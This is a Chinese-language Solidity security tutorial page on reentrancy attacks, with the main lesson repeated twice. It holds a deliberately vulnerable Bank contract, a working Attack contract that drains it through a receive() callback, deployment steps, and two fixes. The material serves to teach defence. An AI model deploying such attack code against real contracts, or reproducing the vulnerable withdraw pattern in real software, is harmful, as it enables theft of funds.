
WTF Solidity 合约安全: S08. 绕过合约检查
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 推特:@0xAA_Science|@WTFAcademy_ 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲,我们将介绍绕过合约长度检查,并介绍预防的方法。绕过合约检查很多 freemint 的项目为了限制科学家(程序员)会用到 isContract() 方法,希望将调用者 msg.sender 限制为外部账户(EOA),而非合约。这个函数利用 extcodesize 获取该地址所存储的 bytecode 长度(runtime),若大于0,则判断为合约,否则就是EOA(用户)。 // 利用 extcodesize 检查是否为合约 function isContract(address account) public view returns (bool) { // extcodesize > 0 的地址一定是合约...

WTF Solidity 合约安全: S09. 拒绝服务
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 推特:@0xAA_Science|@WTFAcademy_ 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲,我们将介绍智能合约的拒绝服务(Denial of Service, DoS)漏洞,并介绍预防的方法。NFT项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH,当时价值 3400 万美元。DoS在 Web2 中,拒绝服务攻击(DoS)是指通过向服务器发送大量垃圾信息或干扰信息的方式,导致服务器无法向正常用户提供服务的现象。而在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。 在2022年4月,一个很火的 NFT 项目名为 Akutar,他们使用荷兰拍卖进行公开发行,筹集了 11,539.5 ETH,非常成功。之前持有他们社区Pass的参与者会得到 0.5 ETH的退款,但是他们处理...

WTF Solidity 合约安全 S06. 签名重放
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 推特:@0xAA_Science|@WTFAcademy_ 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲,我们将介绍智能合约的签名重放(Signature Replay)攻击和预防方法,它曾间接导致了著名做市商 Wintermute 被盗2000万枚 $OP。签名重放上学的时候,老师经常会让家长签字,有时候家长很忙,我就会很“贴心”照着以前的签字抄一遍。某种意义上来说,这就是签名重放。 在区块链中,数字签名可以用于识别数据签名者和验证数据完整性。发送交易时,用户使用私钥签名交易,使得其他人可以验证交易是由相应账户发出的。智能合约也能利用 ECDSA 算法验证用户将在链下创建的签名,然后执行铸造或转账等逻辑。更多关于数字签名的介绍请见WTF Solidity第37讲:数字签名。 数字签名一般有两种常见的重放攻击...
WTF Academy: wtf.academy



WTF Solidity 合约安全: S08. 绕过合约检查
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 推特:@0xAA_Science|@WTFAcademy_ 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲,我们将介绍绕过合约长度检查,并介绍预防的方法。绕过合约检查很多 freemint 的项目为了限制科学家(程序员)会用到 isContract() 方法,希望将调用者 msg.sender 限制为外部账户(EOA),而非合约。这个函数利用 extcodesize 获取该地址所存储的 bytecode 长度(runtime),若大于0,则判断为合约,否则就是EOA(用户)。 // 利用 extcodesize 检查是否为合约 function isContract(address account) public view returns (bool) { // extcodesize > 0 的地址一定是合约...

WTF Solidity 合约安全: S09. 拒绝服务
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 推特:@0xAA_Science|@WTFAcademy_ 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲,我们将介绍智能合约的拒绝服务(Denial of Service, DoS)漏洞,并介绍预防的方法。NFT项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH,当时价值 3400 万美元。DoS在 Web2 中,拒绝服务攻击(DoS)是指通过向服务器发送大量垃圾信息或干扰信息的方式,导致服务器无法向正常用户提供服务的现象。而在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。 在2022年4月,一个很火的 NFT 项目名为 Akutar,他们使用荷兰拍卖进行公开发行,筹集了 11,539.5 ETH,非常成功。之前持有他们社区Pass的参与者会得到 0.5 ETH的退款,但是他们处理...

WTF Solidity 合约安全 S06. 签名重放
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 推特:@0xAA_Science|@WTFAcademy_ 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲,我们将介绍智能合约的签名重放(Signature Replay)攻击和预防方法,它曾间接导致了著名做市商 Wintermute 被盗2000万枚 $OP。签名重放上学的时候,老师经常会让家长签字,有时候家长很忙,我就会很“贴心”照着以前的签字抄一遍。某种意义上来说,这就是签名重放。 在区块链中,数字签名可以用于识别数据签名者和验证数据完整性。发送交易时,用户使用私钥签名交易,使得其他人可以验证交易是由相应账户发出的。智能合约也能利用 ECDSA 算法验证用户将在链下创建的签名,然后执行铸造或转账等逻辑。更多关于数字签名的介绍请见WTF Solidity第37讲:数字签名。 数字签名一般有两种常见的重放攻击...
WTF Academy: wtf.academy

Subscribe to 0xAA

Subscribe to 0xAA
Share Dialog
Share Dialog
>100 subscribers
>100 subscribers
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。
所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity
这一讲,我们将介绍最常见的一种智能合约攻击-重入攻击,它曾导致以太坊分叉为 ETH 和 ETC(以太经典),并介绍如何避免它。
重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。
一些著名的重入攻击事件:
2016年,The DAO合约被重入攻击,黑客盗走了合约中的 3,600,000 枚 ETH,并导致以太坊分叉为 ETH 链和 ETC(以太经典)链。
2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚 sETH。
2020年,借贷平台 Lendf.me 遭受重入攻击,被盗 $25,000,000。
2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。
2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。
距离 The DAO 被重入攻击已经6年了,但每年还是会有几次因重入漏洞而损失千万美元的项目,因此理解这个漏洞非常重要。
为了让大家更好理解,这里给大家讲一个"黑客0xAA抢银行"的故事。
以太坊银行的柜员都是机器人(Robot),由智能合约控制。当正常用户(User)来银行取钱时,它的服务流程:
查询用户的 ETH 余额,如果大于0,进行下一步。
将用户的 ETH 余额从银行转给用户,并询问用户是否收到。
将用户名下的余额更新为0。
一天黑客 0xAA 来到了银行,这是他和机器人柜员的对话:
0xAA : 我要取钱,1 ETH。
Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
0xAA : 等等,我要取钱,1 ETH。
Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
0xAA : 等等,我要取钱,1 ETH。
Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
0xAA : 等等,我要取钱,1 ETH。
... 最后,0xAA通过重入攻击的漏洞,把银行的资产搬空了,银行卒。

银行合约非常简单,包含1个状态变量balanceOf记录所有用户的以太坊余额;包含3个函数:
deposit():存款函数,将ETH存入银行合约,并更新用户的余额。
withdraw():提款函数,将调用者的余额转给它。具体步骤和上面故事中一样:查询余额,转账,更新余额。注意:这个函数有重入漏洞!
getBalance():获取银行合约里的ETH余额。
contract Bank {
mapping (address => uint256) public balanceOf; // 余额mapping
// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}
// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
重入攻击的一个攻击点就是合约转账ETH的地方:转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。如果你不了解回退函数,可以阅读WTF Solidity极简教程第19讲:接收ETH。Bank合约在withdraw()函数中存在ETH转账:
(bool success, ) = msg.sender.call{value: balance}("");
假如黑客在攻击合约中的fallback()或receive()函数中重新调用了Bank合约的withdraw()函数,就会造成0xAA抢银行故事中的循环调用,不断让Bank合约转账给攻击者,最终将合约的ETH提空。
receive() external payable {
bank.withdraw();
}
下面我们看下攻击合约,它的逻辑非常简单,就是通过receive()回退函数循环调用Bank合约的withdraw()函数。它有1个状态变量bank用于记录Bank合约地址。它包含4个函数:
构造函数: 初始化Bank合约地址。
receive(): 回调函数,在接收ETH时被触发,并再次调用Bank合约的withdraw()函数,循环提款。
attack():攻击函数,先Bank合约的deposit()函数存款,然后调用withdraw()发起第一次提款,之后Bank合约的withdraw()函数和攻击合约的receive()函数会循环调用,将Bank合约的ETH提空。
getBalance():获取攻击合约里的ETH余额。
contract Attack {
Bank public bank; // Bank合约地址
// 初始化Bank合约地址
constructor(Bank _bank) {
bank = _bank;
}
// 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
receive() external payable {
if (bank.getBalance() >= 1 ether) {
bank.withdraw();
}
}
// 攻击函数,调用时 msg.value 设为 1 ether
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
bank.deposit{value: 1 ether}();
bank.withdraw();
}
// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
部署Bank合约,调用deposit()函数,转入20 ETH。
切换到攻击者钱包,部署Attack合约。
调用Atack合约的attack()函数发动攻击,调用时需转账1 ETH。
调用Bank合约的getBalance()函数,发现余额已被提空。
调用Attack合约的getBalance()函数,可以看到余额变为21 ETH,重入攻击成功。
目前主要有两种办法来预防可能的重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁。
检查-影响-交互模式强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。如果我们将Bank合约withdraw()函数中的更新余额提前到转账ETH之前,就可以修复漏洞:
function withdraw() external {
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
// 检查-效果-交互模式(checks-effect-interaction):先更新余额变化,再发送ETH
// 重入攻击的时候,balanceOf[msg.sender]已经被更新为0了,不能通过上面的检查。
balanceOf[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
}
重入锁是一种防止重入函数的修饰器(modifier),它包含一个默认为0的状态变量_status。被nonReentrant重入锁修饰的函数,在第一次调用时会检查_status是否为0,紧接着将_status的值改为1,调用结束后才会再改为0。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。如果你不了解修饰器,可以阅读WTF Solidity极简教程第11讲:修饰器。
uint256 private _status; // 重入锁
// 重入锁
modifier nonReentrant() {
// 在第一次调用 nonReentrant 时,_status 将是 0
require(_status == 0, "ReentrancyGuard: reentrant call");
// 在此之后对 nonReentrant 的任何调用都将失败
_status = 1;
_;
// 调用结束,将 _status 恢复为0
_status = 0;
}
只需要用nonReentrant重入锁修饰withdraw()函数,就可以预防重入攻击了。
// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
balanceOf[msg.sender] = 0;
}
这一讲,我们介绍了以太坊最常见的一种攻击——重入攻击,并编了一个0xAA抢银行的小故事方便大家理解,最后我们介绍了两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。在例子中,黑客利用了回退函数在目标合约进行ETH转账时进行重入攻击。实际业务中,ERC721和ERC1155的safeTransfer()和safeTransferFrom()安全转账函数,还有ERC777的回退函数,都可能会引发重入攻击。对于新手,我的建议是用重入锁保护所有可能改变合约状态的external函数,虽然可能会消耗更多的gas,但是可以预防更大的损失。
我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。
所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity
这一讲,我们将介绍最常见的一种智能合约攻击-重入攻击,它曾导致以太坊分叉为 ETH 和 ETC(以太经典),并介绍如何避免它。
重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。
一些著名的重入攻击事件:
2016年,The DAO合约被重入攻击,黑客盗走了合约中的 3,600,000 枚 ETH,并导致以太坊分叉为 ETH 链和 ETC(以太经典)链。
2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚 sETH。
2020年,借贷平台 Lendf.me 遭受重入攻击,被盗 $25,000,000。
2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。
2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。
距离 The DAO 被重入攻击已经6年了,但每年还是会有几次因重入漏洞而损失千万美元的项目,因此理解这个漏洞非常重要。
为了让大家更好理解,这里给大家讲一个"黑客0xAA抢银行"的故事。
以太坊银行的柜员都是机器人(Robot),由智能合约控制。当正常用户(User)来银行取钱时,它的服务流程:
查询用户的 ETH 余额,如果大于0,进行下一步。
将用户的 ETH 余额从银行转给用户,并询问用户是否收到。
将用户名下的余额更新为0。
一天黑客 0xAA 来到了银行,这是他和机器人柜员的对话:
0xAA : 我要取钱,1 ETH。
Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
0xAA : 等等,我要取钱,1 ETH。
Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
0xAA : 等等,我要取钱,1 ETH。
Robot: 正在查询您的余额:1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗?
0xAA : 等等,我要取钱,1 ETH。
... 最后,0xAA通过重入攻击的漏洞,把银行的资产搬空了,银行卒。

银行合约非常简单,包含1个状态变量balanceOf记录所有用户的以太坊余额;包含3个函数:
deposit():存款函数,将ETH存入银行合约,并更新用户的余额。
withdraw():提款函数,将调用者的余额转给它。具体步骤和上面故事中一样:查询余额,转账,更新余额。注意:这个函数有重入漏洞!
getBalance():获取银行合约里的ETH余额。
contract Bank {
mapping (address => uint256) public balanceOf; // 余额mapping
// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}
// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
重入攻击的一个攻击点就是合约转账ETH的地方:转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。如果你不了解回退函数,可以阅读WTF Solidity极简教程第19讲:接收ETH。Bank合约在withdraw()函数中存在ETH转账:
(bool success, ) = msg.sender.call{value: balance}("");
假如黑客在攻击合约中的fallback()或receive()函数中重新调用了Bank合约的withdraw()函数,就会造成0xAA抢银行故事中的循环调用,不断让Bank合约转账给攻击者,最终将合约的ETH提空。
receive() external payable {
bank.withdraw();
}
下面我们看下攻击合约,它的逻辑非常简单,就是通过receive()回退函数循环调用Bank合约的withdraw()函数。它有1个状态变量bank用于记录Bank合约地址。它包含4个函数:
构造函数: 初始化Bank合约地址。
receive(): 回调函数,在接收ETH时被触发,并再次调用Bank合约的withdraw()函数,循环提款。
attack():攻击函数,先Bank合约的deposit()函数存款,然后调用withdraw()发起第一次提款,之后Bank合约的withdraw()函数和攻击合约的receive()函数会循环调用,将Bank合约的ETH提空。
getBalance():获取攻击合约里的ETH余额。
contract Attack {
Bank public bank; // Bank合约地址
// 初始化Bank合约地址
constructor(Bank _bank) {
bank = _bank;
}
// 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
receive() external payable {
if (bank.getBalance() >= 1 ether) {
bank.withdraw();
}
}
// 攻击函数,调用时 msg.value 设为 1 ether
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
bank.deposit{value: 1 ether}();
bank.withdraw();
}
// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
部署Bank合约,调用deposit()函数,转入20 ETH。
切换到攻击者钱包,部署Attack合约。
调用Atack合约的attack()函数发动攻击,调用时需转账1 ETH。
调用Bank合约的getBalance()函数,发现余额已被提空。
调用Attack合约的getBalance()函数,可以看到余额变为21 ETH,重入攻击成功。
目前主要有两种办法来预防可能的重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁。
检查-影响-交互模式强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。如果我们将Bank合约withdraw()函数中的更新余额提前到转账ETH之前,就可以修复漏洞:
function withdraw() external {
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
// 检查-效果-交互模式(checks-effect-interaction):先更新余额变化,再发送ETH
// 重入攻击的时候,balanceOf[msg.sender]已经被更新为0了,不能通过上面的检查。
balanceOf[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
}
重入锁是一种防止重入函数的修饰器(modifier),它包含一个默认为0的状态变量_status。被nonReentrant重入锁修饰的函数,在第一次调用时会检查_status是否为0,紧接着将_status的值改为1,调用结束后才会再改为0。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。如果你不了解修饰器,可以阅读WTF Solidity极简教程第11讲:修饰器。
uint256 private _status; // 重入锁
// 重入锁
modifier nonReentrant() {
// 在第一次调用 nonReentrant 时,_status 将是 0
require(_status == 0, "ReentrancyGuard: reentrant call");
// 在此之后对 nonReentrant 的任何调用都将失败
_status = 1;
_;
// 调用结束,将 _status 恢复为0
_status = 0;
}
只需要用nonReentrant重入锁修饰withdraw()函数,就可以预防重入攻击了。
// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
balanceOf[msg.sender] = 0;
}
这一讲,我们介绍了以太坊最常见的一种攻击——重入攻击,并编了一个0xAA抢银行的小故事方便大家理解,最后我们介绍了两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。在例子中,黑客利用了回退函数在目标合约进行ETH转账时进行重入攻击。实际业务中,ERC721和ERC1155的safeTransfer()和safeTransferFrom()安全转账函数,还有ERC777的回退函数,都可能会引发重入攻击。对于新手,我的建议是用重入锁保护所有可能改变合约状态的external函数,虽然可能会消耗更多的gas,但是可以预防更大的损失。
No activity yet